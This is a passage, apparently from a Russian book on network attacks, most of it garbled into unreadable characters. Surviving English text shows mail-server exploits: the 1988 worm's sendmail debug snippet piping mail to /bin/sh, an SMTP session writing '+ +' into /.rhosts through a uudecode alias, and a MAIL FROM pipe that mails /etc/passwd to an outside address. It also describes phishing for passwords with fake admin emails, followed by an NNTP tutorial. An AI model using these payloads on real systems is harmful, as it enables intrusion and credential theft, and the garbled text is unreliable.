ਬ,   ࠢ  쬮,     墠.  뫪 쬠 룫廊 ⠪: ⮢ ࢥ  (᪠, aserver.com) ᬮ   ⥫ (᪠, bob@bserver.com)  頥  <> DNS-ࢥ  졮 । IP- ࢥ "bserver.com". 稢 ⢥,  ⠭  ࢥ஬ ⥫ SMTP-ᮥ  ।  ᫠. ᫨    ࢥ஢    [224],  ᬮ 䠫஢ ⢥ DNS-ࢥ  ᮮ  ᢮ ᮡ⢥ ࢥ,   bserver.com!
 設⢥ 砥 ⮪ DNS ॠ  UDP-⮪,  ⮪ UDP ࠡ⠥  ⠭ ᮥ, ਭ       뫮   .  । 筮 ࠢ⥫ ।ᬮ७ ᯥ樠 䨪,   ⥭ 諥 [225]. 䨪 ।⠢ ᮡ 16-⮢ 祭, ⮬, ᫠ ᥣ  216 ⮢,    㢥७,     ⢠ ਬ  ⢥  饣 DNS.  ᫨ 䨪  ᮫⭮ 砩 ᫮ (    砥),  ⢮ ॡ㥬 ⮪ ⢥ 㬥蠥.
㦤 墠 䨪 ⥬  <> DNS-ࢥ - ⥬ ⤥쭮 ࠧ, 室  ࠬ ᪠  梨 ⮢ ᮥ.   㤥 ⠫쭮 ᬮ७   <⠪  DNS ࢥ> [226],   筮  - ᫨  e-mail   㪠 IP (.. ਬ, kpnc@195.161.42.222),  ⥫  室  ⮬  ࢥ,   ࠢ⥫,  墠 ⠪ ᮮ饭  ਭ樯 .
   諥 ௭ ⢮ ଠ樨, 饩 쭥襥 ஭  ⥬,   ࠭ 樠쭮 ਨ. ஬ ⮣,  ௮⨢ (   ⮫쪮) ९᪥  ᮤঠ ᢥ  㬥, ।⠢騥 ஬   ७⮢  ஬諥-䨭ᮢ 诨  ⥩. ⢥ 室 - ஢  䨤樠 ᯮ ⨫⠬,  PGP.
祬, ⠪, ࠢ  墠 ९᪨,  稫 讣 ࠭.   諥   㤠 設,  ⮢ ࢥ    ।  ⨦ ⠪ 楫.   ⠭ ⮢ ணࠬ ᯥ祭 㤭  ஢,  ⠢ 訡  ।⠢   諥.
 ஬ 楤 ந襫 ᥭ 1988 ,    ᯮ  .   ᯮᮡ ࠭ 砫  ᯮ짮 ⫠筮 ०  ணࠬ SendMail. ⫠ ० 㦨  㤠 ࠢ ⮢    믮 , ।  ⥫ 쬠. ⠫쭮,  , 뫮  孨.  뫠 <ࠢ>  몥   㪠 ⪮஢   . <ࠢ> ࠫ  , ᯮᮡ ஫ ᢥ   ந宦, , 易  ࠢ⥫, <>  ࢥ  ⠫ 㫨 .
 ਢ ࠣ   ( 訬 ᮪饭ﬨ), 騩   ᯮ짮 ⫠ ० ( 梥⮬ 뤥 ப, ।   ࢥ  SMTP-ᮥ).
 send_text(s, "debug");
:
 #define MAIL_FROM "mail from:</dev/null>\n"
 #define MAIL_RCPT "rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh; exit 0\">\n"
:
 send_text(s, MAIL_FROM);
 i = (random() amp; 0x00FFFFFF);
 sprintf(l548,MAIL_RCPT, i, i);
 send_text(s, l548);







᪮ ᫥ ⠪   ,    㦨 來 ⥫⢮ ਭ樯쭮  ⠪  ⠫ 訬 ⨬㫮   㣨,    㦥 訡.  ⮬,   , -   ᮬ.    稫.
 ( ண   ࠭) ⨫ ,    ⮢ ࢥ஢  䠩 </etc/aliases> ᮤন ப ਡ⥫쭮 ᫥饣 ᮤঠ: <decode: |/usr/bin/uudecode>. ᫨ ᫠  ⠪ ࢥ 쬮, ᮢ ⥫ <decode>,    㪨 ணࠬ "uudecode", ।祭  ᯠ UUE-ᮮ饭.


室 ।  䠩 १ ⮢ ⥬,  ᪠騥 ᯮ짮 ᨬ    32   127, ਢ   UUE ஢. ,    ᭮, 砥  ᫥饬:   (24 ) ࠧ   ⨡⮢ <᪮>,    㬬   ஡ (020), ࠧ ࠭ᯮ⠡ ⥪.
 ࠧ, ஢ ⥪ ⮨  ᫥ ᨬ ( ⮫쪮  ): `!"#$% amp;'()*+,-./012356789:;<=>?@ABC:XYZ[\]^_,      ।   ⥫㭨樮 ,  ⮬ ᫥  ᥬ⮢.
⥫ த뢠  ᢮ ஭  , -   ᨬ ⠥  ஡,     <᪮> ஢ ⥪ ᮡࠥ    ਣ쭮 ᫠.
筮 UUE-ᮮ饭 룫廊 ਡ⥫쭮 ⠪ ( 易⥫   饭  饭):


 begin 644 filename

 =D>JEJR"AKJ'@H"`M(. amp;OH.$@I*7@I:*N(0T``0(`

 `

 end




 "filename", 饥  , 砥   ,   䠩,   ࠢ⥫ ।  ᪮஢ ⥪. 設⢮ ஢騪  ஢ 稥 䠩  ⢮    ᮤন   ⢥ত 짮⥫.
᫨  SendMail  訬 ਢﬨ ( ⠪  ᥣ  뢠), ணࠬ uudecode ᫥   ᪥. ⥫쭮,   १  䠩  ⥬.
ਬ, 諥    䠩 ".rhosts" ப  <+ +>.  䠩 ".rhosts" ᮤন 祭 ᮢ ⥫ 㧫   짮⥫,    ᠬ 㧫 ࠧ襭 室  ࢥ  । ஫.   <+ +> 뢠 ᢮  ᥬ 짮⥫   㧫 .
⠪  룫拉 ਡ⥫쭮 ⠪ (ᨬ ";" 砥 ப ਥ):


;  䠩, ᮤঠ饣 ப "+ +"

 cat> tmp

 + +

 ^C

 ; uue-஢,  㪠 ᪮஢  䠩  /.rhosts

 % uuencode tmp /.rhosts

 begin 644 /.rhosts

 $*R`K"@``

 `

 end

 ;   ࢥ஬   25   । ᮮ饭

 telnet 127.0.0.1 25

;  ⠭ ࢥ  ਣ襭

 220 kpnc.krintel.ru SimpleSMTP 1.0 Sun, 26 Mar 2000 16:42:49 +0400

 ; ⢮ ࢥ

 helo kpnc

 250 kpnc.krintel.ru Hello kpnc.krintel.ru [195.161.41.239]

 ;   ࠢ⥫

 mail from: kpnc@kpnc.krintel.ru

 250 kpnc Sender ok

;  ᥢ 'decode'  ⢥  ⥫

 rcpt to: decode

 250 decode Recipient ok

;  ஢ ᮮ饭  ⥫ 쬠

 data

 354 Enter mail, end with "." on a line by itself

 begin 644 /.rhosts

 $*R`K"@``

 `

 end

.

 250 Ok

; 室

 quit

 221 kpnc.krintel.ru closing connection




 諥 (  ⮫쪮  -  짮⥫   㧫) ᬮ   ࢥ ,  襬 砥, ⠢  ᢮ graffiti (⮣,  )   .  襬 :
 訡     ਠ 砥  ᥣ.  ணࠬ- (ਬ, ᯠ騪) ᪠ 㪠 ᮫ ⥩ [227].  䠩  १ (  ,   )   - 諥  ᮧ  䠩, ⨢ , ਬ,  ⠪   <⮧㧪>.    ⥬  ,   諥  ࠢ.
㣠  믮   㤠 ࢥ 砥   প    "MAIL FROM"  "RCPT TO".   ᠬ ࠧࠡ稪  ॢ  ⠪ 梨, ᪮   ᥣ 祢. ਬ,  "open" 몠 Perl   ⮫쪮 뢠 䠩,   ᪠ , ᫨    ᨬ "|", 騩 맮 .
 ⪨ ᠬ⥫쭮 樨 । 㭪樨 ࠬ஢  筮 . ᮡ  ࠪ  UNIX-⥬,      ᠬ  । ୮ ⢨.  ⢨⥫쭮 祭 㤮 ਥ,    ᥣ  ࠧ ⬥祭  ᮯ஢⥫쭮 㬥樨.
ࠡ稪, ᯮ騥  ᢮ ணࠬ ⥪ ஭ ⠢騪,  ᥣ ஢,   ᥡ    㭪, 㦨 ᨬ , ᮡ ᫨  ⮬ 祣  ᠭ  㬥樨. 宦 ஡    ࠧࠡ⪥ ᮢ ஥⮢:  ࠧࠡ稪     ⮭⥩ 㭪樮஢ 㫥 㣮 ࠧࠡ稪,   १ ⠪ 몮 祭 ணࠬ   ࠧ ন .
ਬ,  ⮢  SendMail   ᨨ 5.5 [228] ⥫쭮 ᮤঠ ⢮ 訡,    த஢  ( ";" 祭 ਨ):


 ;   ࢥ஬   25   । ᮮ饭

 telnet kpnc.krintel.ru 25

 220 target.com Sendmail 5.55 ready at Sun, 26 Mar 2000 16:51:12

 ; ⢮ ࢥ

 helo kpnc

 250 kpnc.krintel.ru Hello kpnc.krintel.ru [195.161.41.239]

; ᯮ짮    MAIL FROM.   뫠 ᮤন 䠩 ஫ 

 ॡ㥬 

 mail from: "|/bin/mail kpnc@hotmail.com </etc/passwd"

 250 "|/bin/mail kpnc@hotmail.com </etc/passwd": Sender ok

;   ୮ ⥫

 rcpt to: user12345

 550 user12345: User unknown

 ; ஢ ⢥ ࢥ  ⪠  ⥫ ᮮ饭

 data

 354 Enter mail, end with "." on a line by itself

 ; ঠ ᮮ饭 祭  

.

 250 Mail accepted

 ; 室

 quit




訡 﫠 ⮫쪮  ⮬ 砥,   "DATA" ᯮ짮 ᫥  饣 ⥫   "RCPT TO".  窨 ७ ଠ쭮 祫 ⠪ ⠭    ᫠, ⮬ ࠧࠡ稪     室 ஢ . 訡  ⨯ 祭 ᫮ 㦨  ᠬ ࠧࠡ稪, ⠪  諥.  諥   ࠭祭 ६  ᪮ ᯥਬ⮢  ᠬ 㤫 権,  ࠭   ਭ .
筮 ⠪,  ⮢ ࢥ 뢠 梨 । ਢ 뢮 ⥪. ਬ,  䥢ࠫ 2000 ,  SMTP ࢥ MMDF ᨨ 2.44a-B4, ࠡ饣  ࠢ SCO-UNIX 㦨 訡 ९    "MAIL FROM"  "RPPT TO",  諥 믮    ਢ root.
 ᪮쪨 栬 ࠭ -   1999 , 訡 ९ 뫠 㦥  POP3\SMTP ࢥ ZetaMail ᨨ 2.1. ஫, ।  "PASS", 頫   䨪஢ ࠧ,  ᫨誮  ப 뫥   ࠭.
 ⮬   1999  ᮮ饭  稥 筮 梨   3.2x SMTP- Interscan VirusWall, ࠡ饣  ࠢ Windows NT.   ࠧ ९  ந室  ६ ਢ⢨ ࢥ  "HELO" (᫨  ਢ⢨ 뢠 १  ᫮).


<    >  த . ணࠬ ᯥ祭, ।祭    ᮢ  ⨬  <᭠ ॣࠤ [229]>,  ᯮᮡ ਭ ᢮ ⥫ ⥫쭮 訩 , 祬 ,  ⠢ ⨯ .
㬭 ⠭ ।  ਢ   ᨫ,  ᫠ ᭮ .   ணࠬ ᯥ祭 ⠭  ࢥ, ⥬   ⢮ 訡, ᯮᮡ  諥 ஭  ⥬.
ਬ୮    ᠬ ६ 㦨 梨 IMAIL POP3-ࢥ. ᨨ 5.07, 5.05  5.06  ஫஢   짮⥫, ।  "USER".    ࠧ Avirt Mail Server (ᨨ 3.3a, 3.5). 饭   ९   "PASS",   砫   ⮣  1999 .
訡 믫    , ॣ୮ 㦨,  ࠩ ,     .  ᪮쪮     訡   ।⠢! ⮬,  㢥७   饭  㧫 ᪮쪮 .
 饩 㬮 ⮢ ࢥ஢ ⠭   騪,  騥 ᯠ. 뫠 쬠  ⪠ ( ன  )  ᮢ,  ⭮ 㦠 ࢥ ⥭ᨢ ࠡ⮩. ᪮,  ࠢ塞 쬠 ࠡ뢠  浪 <樠᪮ ।>,   ।  ⥥ ( ᯠ ᮧ 祭  ।) ࠢ ᯮ樨 ⠫묨 짮⥫ﬨ ⠭ . 쬠 ⭮,  ࢥ,  뤥ঠ ⠪ 㬠襤襩 㧪, ᭥.
 騥 ⭮ ,     誢     ᮢ 뫪.  쬠 ⭮,  ᫥ ⮣ 樤  㣨 ࢥ஢,   ࢥ ࠤ襣   < ᯨ᮪>,  ਥ ᥬ  㪠 . ᫥  ⨬    짮⥫ ࠤ襣 , ᪮ ࠢ   設⢮ 㧫 ⠭ .
 ⠪ 砫쭮 ᯥ⨢  ࠢ쭮 ⮩ ࢥ. 筮  ࠢ ᥬ   짮⥫   ᠬ  믮 ⥭䨪 짮⥫ । ࠢ ᮮ饭. 設⢮   ᥣ譨   ࠬ 諥 ᬮ  (஭  ࢥ, ᯮ 㣨    䨣; ஭    ஢  짮⥫     ணࠬ, 뫠 쬠; , ᠬ  ᬮ 䠫஢ IP-  뤠 ᥡ   짮⥫).  饥 設⢮ ᯠ஢   饩 䨪樥,  ,   ,  ࠢ,   뫪. ⮬,  ᠬ ਬ⨢ ᫮ ⠭ ᯠ,   ⠪ -   㧥,   饤㯭 ࢥ,   ᮢ 뫪.








⠪  ⮢ 


O  ⮩ :
O 饭 ஫  
O 䨪 ᥬ  樠쭠 


⨥ ஭  ਢ  १ ᫮ ணࠬ ᯥ祭. ६ ⮢  ।⠢ ᮡ 祭 ᫮ ⥬, ন ᪮쪮 ⮪, ᯮᮡ ⮡ࠦ HTML   ⢮ ࠧࠧ ⬮ ஢ ⥪. 堭     ஢      㤥  , ⮬ 設⢮ 짮⥫ ஭     ⠪.
訩   諥 ।⠢: 饭 ஫ ( 楫 㯠  ᯮ樨 ), 䠫䨪 ᮮ饭  ஭    (.. 祭  믮   ᢮ ).     ⠪ 㤥 ⠫쭮 ᬮ७.
६ 拉 㦨 쬠     ,   쬠   ᮤঠ 祣 ᭮.  ᫨    ௮⨢   ९᪥,  ⮥  㧭 ᥪ  ᢮ ॢ頥   ,  뢠 诨.
⮬,   ⮢ 騪   - ॡ   짮⥫  ஫.  ᨬ  㦥 ࢥ  ய᪭ ᯮᮡ  ⥭䨪     ᥪ㭤  ᪮쪨 ᥪ㭤.
᫨  ६, 室   ᨬ쭮 ஫, 饣 ⮫쪮   ⨭᪨ ᨬ,   0+1+262+263+264+265+266 = 321 272 407 ᥪ㭤   3 719  [230]. ப,  ॠ  . ⮬, 諥 ࠪ᪨   ஫.  ⮣      .


१ <砭>




 ᠬ  , 祭 業 ⮩ ஫ ୠ  襭    冷. 設⢮ ⮢ ࢥ஢ ন  㪠 ன ଠ樨,   ᢮ ஦ (  ஦ ᢮ 宬窠), 쥩 䠬 ,   訢  짮⥫, 襣 ஫.
 ,  ᥢ    ᫥ ⮫⨨ 뫮 ᥣ-ᥣ 浪 386*100, .. 浪 4 * 104.  ᪮ 1 ⪠  ᥪ㭤  ਠ  ॡ ᥣ  11 ᮢ!  ᫨ ⪨   ਠ,  ⥫쭮 ॥ -   짮⥫   ᮫⭮ 砩 ଠ.
⮪ POP3 ࠧࠡ뢠    ६,   ᥪ⮢  Internet  ⢮,   ஭ ⮢ 騪 뫠 ⮫  ᨬ筮,   ਬ⨢ , ࠭騥 騪  㬠 .  ஢ ஫ ।ᬮ७  뫮,   ।    ⮬ .
  易⥫쭠  ॠ樨  APOP, ন ࠭ 奬 ⥭䨪樨 <-⪫> (஡  奬 -⪫ ᪠뢠   <⠪  Windows NT>), ᭮  ⬥ MD5,   ᨫ  稭, ᮢ ࠭   稫,   ᥣ   ন ⮫쪮  ஫.
⮬,  ⠪ ᢮  墠 ஫  ஢  ।  .  Ethernet-  ॠ 祭 , 室 १  諥, ⮢,   Internet ਡ  <> DNS-ࢥ. ᫨  ⮩  짮⥫ 㪠  ஢ IP  ࢥ,    ,   㤥 㦤   DNS  ᮮ⢥騬 ᮬ. 諥  , 뢠  宬  DNS-⢥⮢,    㦤  ⮣ ᮥ 㤥 ⠭   ⮢ ࢥ஬,   ஬ 諥  㤠  㤥 ।  ஫!
  ⠪ ⠪  ᯮ짮 ஢ ஫ (᫨   ࢥ 짮⥫ ন ⠪ ࢨ),   ய뢠 IP- ⮢ ࢥ  ⮩ .
   㣮 ᯮᮡ 饭 ஫ -    . 諥  ᫠ 䠫訢 쬮    ⥬, ᮮ饥, ਬ,  饭  ஫  । ᬥ ᢮  ஫,  , ⥫쭮  . ⢥,   ॡ ᮮ  ⮫쪮 <>,   ⥪騩 ஫!  奬 ⨢ ᯮ 諥, 騬  ஫  ⮢ 騪,  ஫  室  Internet,   ⨪ ,   䨤樠 ଠ.
     砩 稢묨,    ⥯ 稭 ᬠਢ  ᠬ ࠢ⥫. , ᫨ 쬮 諮  VasiaPupkin@hotmail.com,  , ᪮॥ ᥣ, 㤠 ࠧ   ⠪ 㤮 㦥   ,  ࠪ᪨ .
⮬, ।⠢  ᬮ,  諥  䠫஢  ࠢ⥫,   ⮬ ⢥. 孨᪨ 祣  ⮨ ࠢ 쬮   admin@provider.com,    ⢥  admin,    㯪!
 ⮥,  ᯮ 諥: 㪠뢠   "Reply-To" , ⫨   ࠢ⥫. ᫨ ⢠     ⥫⢮  [231],      㦤   ᯮᮡ ᮮ ॡ㥬 ଠ.   ᫨誮  ਬ, ।⠢騩 ᥣ   祬 ᪨ .
   祬 ⢨⥫쭮    짮⥫: ᫨ ⥫  ,  쬮 頥  ࠢ⥫,  뫠  , 㪠   "Errors-To:". 諥 롨ࠥ ࠢ,   ⢨⥫쭮  騩  (᪠, root@provider.com),    "Errors-To" 㪠뢠 ᢮ ⮢  (⥫쭮,  騩  ).
ᬮ   ᢮ , ⠪ ᯮᮡ 筮 䥪⨢,  稢    . , ௮⨢ ,  ⫨稥  譥 짮⥫,   ⠪- .   諥   㣠     饩  ଠ樨 - ஭   ! 訡 ॠ樨 ⮢ ⮢ 祭   ᤥ   ᮡ 㤠.








⮪ NNTP


O  ⮩ :
O ⪠   NNTP
O ࣠ ७権
O ஭ ᮮ饭
O ⥭ ᮮ饭
O ⥫  ⥪饥 ᮮ饭   ६饭
O   ᮮ饭
O 易⥫  易⥫  
㣨  ⥢ 饭 ( )  <> - ७樨, ।祭  ⮩ ९᪨  ᢮  ଠ樥.  ⫨稥  ஭ ,  ᮮ饭 ⠢ 㯯 ,   ᮢ  -  ⭮ 祫.


१ <ଠ>




USENET: /yoos'net/ or /yooz'net/ [from `Users' Network'] n. A distributed {bboard} (bulletin board) system supported mainly by UNIX machines. Originally implemented in 1979-1980 by Steve Bellovin, Jim Ellis, Tom Truscott, and Steve Daniel at Duke University, it has swiftly grown to become international in scope and is now probably the largest decentralized information utility in existence. As of early 1993, it hosts well over 1200 {newsgroup}s and an average of 40 megabytes (the equivalent of several thousand paper pages) of new technical articles, news, discussion, chatter, and {flamage} every day.
USENET [ 'User' Network'], . । ⥬ '஭ ᮪ ' (ᬮ bboard), ন  ᭮ 設  ࠢ UNIX.  蠣  ⮬ ࠢ 뫨 ᤥ  1979 - 80  ⨢ ,  ᮬ,  ᪮⮬  ਢ    ,  ᪮ ⥬ ᫠   ࠧ஢  ⠫ 㭠த.   ᥣ譨  (1993 )  ᠬ  業ࠫ ଠ樮 ⥬  ᥬ , ন  1200 ⥫७権 (ᬮ newsgroup),   䨪 USENET [   孨, ᨨ, , ⮢  㣠 (ᬮ flamage)]  । ⠢  40 ,   ⠭  ⠢ ~20 000 ࠭.
(뤥প  < ࣮> ਪ )
᪨ ७  ࣠    POP3  SMTP ⮪,   ⮬  ⢮ 孨᪨ ஡, 襭  ࠧ㬭   ⤥ ⮪.


१ <ଠ> *




⭮,  ⥫쭮 ६  all@zmail.ru  ।祭  뫪 ᮮ饭 ᥬ ⠬ ⮩ ⮢ ⥬. ઠ  뫠 ᯮ짮 <஦⥫ﬨ>   , ࠢ 㦠  ⨬ <⥫> ࠧ.  ⢥ 믠 ᪮࡫,  娩    ७樨,  ன   ࠬ ࢥ.  :


१ <ଠ> *




  ࠧ Internet,  ८ 樮 ⥬ UNIX,  ࣠樨 ७権 (, 祬,  ஭ )  ᯮ짮 ⮪ UUCP (UNIX to UNIX Copy). ⠬  㤮 ࠭   ,  設⢮ 㧫 諮      NNTP ⮪.
 ⮪ ⠫ NNTP (Network News Transport Protocol), ।⠢騩 ᮡ  ஬筮  IMAP4  POP3 ⮪. ᨬ  ࣠樨 㯯 ⥩,   易    . ࠧ  㯮 ७樨 ॢ ,  ᮮ饭 - ࠭   䠩. ᪨  ᬠਢ  㯯 ⥩,   IMAP4,  ᢮ ᮡ⢥묨 ਡ⠬.
 ⮪ NNTP ᮤন  ,  砢 ࠭  ⮢ ⥬.   蠥  ஡ - ᯥ祭 ᨭ஭樨 ᮮ饭.  NNTP-ࢥ஢, ன   ॢ  ⢮  㣠,   筮 ᮤন.       㯨  ᮮ饭,    ࠧ᫠ ᥬ ⠫ ࢥࠬ.
  㤥 ਢ ஡ ᠭ ᯮ㥬 ⬮ ᨭ஭樨.  , ⮡  뫨 ᫨誮 ᫮  ,  堭 ⢨ NNTP-ࢥ஢   짮⥫      ⢥ ਠ -  ਢ쭮 뫪,  ᠬ࣠饩 ।  .


१ < 稭>




ᯫ news-ࢥ஢ ,   ।  祭 .  ᥣ ७樨  ⮫쪮  ⥭. 뫪 ᮮ饭 (᫨    ࠧ襭) 筮 㤠  室  ⮣ ࢥ. ⮬ 祣  ⠥, ஬  ᯮ짮 㣠, ।⠢塞묨 ᮡ⢥ Internet-஢஬.
 ,   ᯥ樠 ணࠬ  ᪠ 饤㯭 NNTP-ࢥ஢.  ᥡ ४ "New Hunter" (http://www.slip.net/~rain/nh/) 堭 ࠡ ன 㤥 ᬮ७  <>.
 祭  NNTP-ࢥ 室 ⠭   TCP-ᮥ   ⭠⮬ .




㭮 012 祭  NNTP-ࢥ



᫨ ᮥ ⠭ ᯥ譮, १ ᥪ㭤  ࠭ telnet-   ਣ襭 ਡ⥫쭮 :
 201 news.rnd.runnet.ru InterNetNews NNRP server INN 2.2 21-Jan-1999 ready (no posting).
 ⢥ 201 ( ⥪  뤥  ⮬) 砥,  ࢥ    ᮧ  ᮮ饭 (묨 ᫮ ⨭ [232] 饭).  ⮬ 砥,  ⨭ ࠧ襭, ࢥ 頥  200  ப  <posting ok>.


१ <砭>




 ᠭ   ᮤন  RFC-977,  ⮬  ਢ   .
᮪ 㯭 ७権      "LIST".   ᮥ     த⥫쭮 ६, ᪮ ⢮ ७権 筮 祭 . ⮬  ਢ  ࠣ ⢥ ࢥ:


 LIST

 215 Newsgroups in form "group high low flags".

 control 0004971978 0004971979 n

 junk 0000000001 0000000002 n

 test 0000010149 0000010150 y

 a.bsu.programming 0000000718 0000000715 y

 a.bsu.religion 0000009622 0000009613 y

 a.bsu.talk 0000000190 0000000184 y

 aaa.inu-chan 0000000000 0000000001 m

 ab.arnet 0000000045 0000000046 m

 ab.general 0000001678 0000001677 y

 akr.internet 0000000379 0000000375 y




:
 ᥫ, ᫥   㯯, 㪠뢠  ࢮ  ᫥  㯭 ᮮ饭.


१ < 稭> *




࠭祭 ᪮  ࢥ    ࠭  ᮮ饭.  祭 ண ஬⪠ ६ (饣 ᨬ  ன    )  ᯮ 㤠. ।,  稪 ॣ୮  ࢥ,   室 ࠭  ᢮ 쭮 .
筮,  १砩 㤮 襭 ⠢  嫮 짮⥫    ⪨ ᪨. ⮬,    ᯥ樠஢ ࢥ, 騥 娢஢  ( ࠭) ७権.     ࠧ ⥬ ᪠,  ன 뫮  ᫨ ਥ஢   ᮮ饭.
让 ୮  㦡 <Deja News> (http://dejanews.com),   ⮫쪮 ,  ࠢ ᮮ饭  ७樨.
, ᯮ    ப,  ਭ    ᫥ 祭: "y", "n"  "m". 祭 "y"   ⮬,  ᮧ  ᮮ饭  ⮩ ७樨 ࠧ襭; "n" 頥 ⠪   "m" 砥 㥬 ७.


१ < 稭>




 㥬 ७樨   .   ७ 䨪 ଠ⨢묨 ᮮ饭ﬨ 室 ᫠ ᢮ ᮮ饭 饬 () 㯯,   ᢮ ᬮ७     ७樨,     .
 ᠬ  ,  㤥   ᫥饩  <⠪  NNTP-ࢥ>,  設⢥ 砥  ࠭祭    .
 ⥭ ᮮ饭  㯯  室 ।⥫쭮   "GROUP", ਬ, ⠪:
 GROUP akr.internet
 211 5 375 379 akr.internet
 211 ᨣ  ᯥ譮 襭 樨 ( 砥 ⢨ 襭 㯯 頥  411),   ᫥ ᫮ ࠭  ࢥ ᮮ饭,  ࠬ ࢮ  ᫥  .
  ᯮᮡ ⥭ ᮮ饭 砥  ᯮ짮  "ARTICLE", ਭ饩  ⢥ 㬥  㭨 䨪 "Message-Id",  浪  ᮮ饭.


१ <砭>




  <ARTICLE>   <BODY>  <HEAD>. ᫥   頥  ᮮ饭; "BODY" - ⥫,  "ARTICLE", ⭮ HEAD+BODY.
ਬ, ਢ ,  祭 ᮮ饭, ⥬ ᯮ짮  ARTICLE:


 ARTICLE 375

 220 375 <t0pD4.358$HG1.11974@nnrp1.uunet.ca> article

 From: "Chris Robins" <crobins@hotmail.com>

 Newsgroups: akr.internet,alt.best.of.internet,alt.community.local-money,alt.comp

 References: <01bf95ce$af112040$LocalHost@lislen>

 Subject: Easy Money!

 X-Priority: 3

 X-MSMail-Priority: Normal

 X-Newsreader: Microsoft Outlook Express 5.00.2919.6600

 Message-ID: <t0pD4.358$HG1.11974@nnrp1.uunet.ca>

 Date: Sun, 26 Mar 2000 09:21:28 -0500

 NNTP-Posting-Host: 209.47.93.156

 X-Trace: nnrp1.uunet.ca 954080409 209.47.93.156 (Sun, 26 Mar 2000 09:20:09 EST)

 NNTP-Posting-Date: Sun, 26 Mar 2000 09:20:09 EST

 Xref: news.rnd.runnet.ru akr.internet:375



 Interested in learning about how you could ear money just for being online,

 then go to my website at:

 http://www.makemoney.f2s.com/makemoney.htm



 If you don't believe me then view my checks at:

 http://www.makemoney.f2s.com/checks.htm

.




᫨ 맢  "ARTICLE"  㬥⮢,  ୥ ⥪饥 ᮮ饭.  , "NEXT"  "LAST" 㦠  ६饭 થ ⥪饣 ᮮ饭    ।   ᮮ⢥⢥. ⮬,   뢠   ᮮ饭    ᫥⥫쭮   㣨,   .
ਬ, ⠪:


 NEXT

 223 376 <tmtD4.423$HG1.13664@nnrp1.uunet.ca> Article retrieved; request text separately.




 NEXT   㢥稫  ⥪饣 ᮮ饭.   , ᫨  룭 ࠧ  । ᯨ᪠?  뢠  ࠤ ⮣ "NEXT" ᫥ ⢮ ࠧ?! 筮 , ! 筮 ᯮ짮  "STAT", ६騩 㪠⥫   ந .
騩 ᯥਬ  ᮧ  ᮮ饭.  ⮣ ॡ ࢥ, ࠧ騩 ⨭     ७.  ᥣ ᯮ짮 ᯥ樠쭮 ᮧ   楫 㯯,  "test".
⥩訩 ᯮᮡ ᮧ ᮮ饭 砥  ᯮ짮  <POST>, 뢠  㬥⮢. ਬ:


 Post

 340 Ok




ࢥ  ⥪ ᮮ饭, 蠥 (   ⮪ POP3), ᫥⥫쭮 <CRLF>.<CRLF> [233]. 묨    [234],    易⥫   易⥫.
 易⥫  ⭮:
 newsgroups:  ( )  㯯, 㤠   ࠢ ᮮ饭
 from: ࠢ⥫ ᮮ饭
 subject:⥬ ᮮ饭
᫨    易⥫쭮  , ࢥ 頥 訡   ࠢ.
ਬ:


 post

 340 Ok

 from:<kpnc>

 Subject:hello



 hello

.

 441 Required "Newsgroups" header is missing




᫥  饣  ୠ  ࠢ ᮮ饭   ᯥ譮.


 post

 340 Ok

 newsgroups:test.test

 from:<kpnc@aport.ru>

 subject:helo



 Helo!

.

 240 Article posted




ࢥ ⢥न ᯥ譮 믮 樨,  ⮡ ⢨⥫쭮 㡥  ࠢ ᮮ饭, 室 ஡  ᮮ饭  ࢥ, ਬ, ᫥騬 ࠧ:


 GROUP test.test

 211 1 121 121 test.test

 ARTICLE

 220 121 <8bqntq$o2j$4@jumbo.demos.su> article

 Path: demos2!demos!dnews-server

 From: <kpnc@aport.ru>

 Newsgroups: test.test

 Subject: helo

 Date: 28 Mar 2000 16:51:06 GMT

 Lines: 1

 Message-ID: <8bqntq$o2j$4@jumbo.demos.su>

 NNTP-Posting-Host: ppp-02.krintel.ru

 X-Trace: jumbo.demos.su 954262266 24659 195.161.41.226 (28 Mar 2000 16:51:06 GMT

)

 NNTP-Posting-Date: 28 Mar 2000 16:51:06 GMT

 Xref: demos2 test.test:121



 Helo!

.




뤥  ⮬ ப ᮤন  ࠢ⥫ ᮮ饭, 㯭  ᥮饣 ७.   稪 ७樨 (⢮  ன 室  ⪮ )  ਬ  ⥫ ⮣    ᫥ ⠪ ணࠬ:  ⮬  ࠢ ᮮ饭   ⮬ 㬥   ᪠뢠   <⠪  NNTP-ࢥ>.


१ <砭>




஡  ⮪ NNTP  易   ᮢ 室  孨᪮ 㬥樨 RFC-1036, RFC-850  RFC-977.


१ < 稭>




設⢮ ॠ権 NNTP ⮪ ন  "HELP", 뢮 ᯨ᮪ 㯭    ஡ ᯮ짮   .
 "quit" 蠥 ᥠ ࠡ  ࢥ஬  ࠧ뢠 ᮥ. ਬ, ⠪:


 Quit

 205.





.  饤㯭 NNTP-ࢥ஢



O  ⮩ :
O ஢ ⮢
O  ࢥ஢, ⥬ 祭  ᮮ饭
O ᠭ ணࠬ News Hunter
। ⥭  㧫   ஬ ⢮ 饤㯭 ࢥ஢,    ।⠢ 짮⥫    .  ௮樨,   ᫥⥫᪨ ० 筮  ᪫ ६ ᢮ NNTP-ࢥ ⮩  ன  ᠬ   짮  ⠫ 㧫 :


१ < 稭>




砩 ⮫  饤㯭 NNTP-ࢥ ⭮,      㦡,  <>  <Altavista> 祭 㤭.  "NNTP + free" 뤠  ᯨ᮪  - ᯫ묨 ࢥ஢, 設⢮   㦥 ᯥ ४ ᢮ ⢮  ᬥ ⨪  ࠭ .
⮬ 室 㬥 ᠬ⥫쭮 ᪠ 室   .       ᯥ樠஢ ᠩ⠬, 㡫騬 ଠ  த? ,   祬.   ⮬,  饤㯭 設⢠ ᮢ 易  ⥫⢠ ஢.   ⮫쪮  ࢥ 訢 ⮫  㤠  짮⥫, 浪  , ⨪ ᭮     뢠. ⨢,  祭,  ᫨  ⠭ 祭 ஬,     ᥪ   ,   ⠭ ⨬ .
⥩訩 ᯮᮡ ᪠ NNTP-ࢥ஢ 砥  ᪠஢ ⮢.   砥  ᫥饬: 롨  (  㣠) IP-, ਬ <195.161.42.149>   ⠭   TCP-ᮥ   ⭠⮬ . ᯥ譮 樨 㪠뢠  稥 NNTP-ࢥ   㧫. ᫨  ࢥ     㭪樮, ᮥ ⠭  㤠.  砥 ᯥ譮 ⠭ ᮥ  㡥  ᯫ⭮ 㦡,  (ࢥ  ⠭   ᯫ⥭) 롨 㣮 IP-,  ⠪   ,    ௥    ॡ㥬 .  ࠢ,  ᪠஢ IP  ॡ   㣨  뢠  ⠭     蠣.
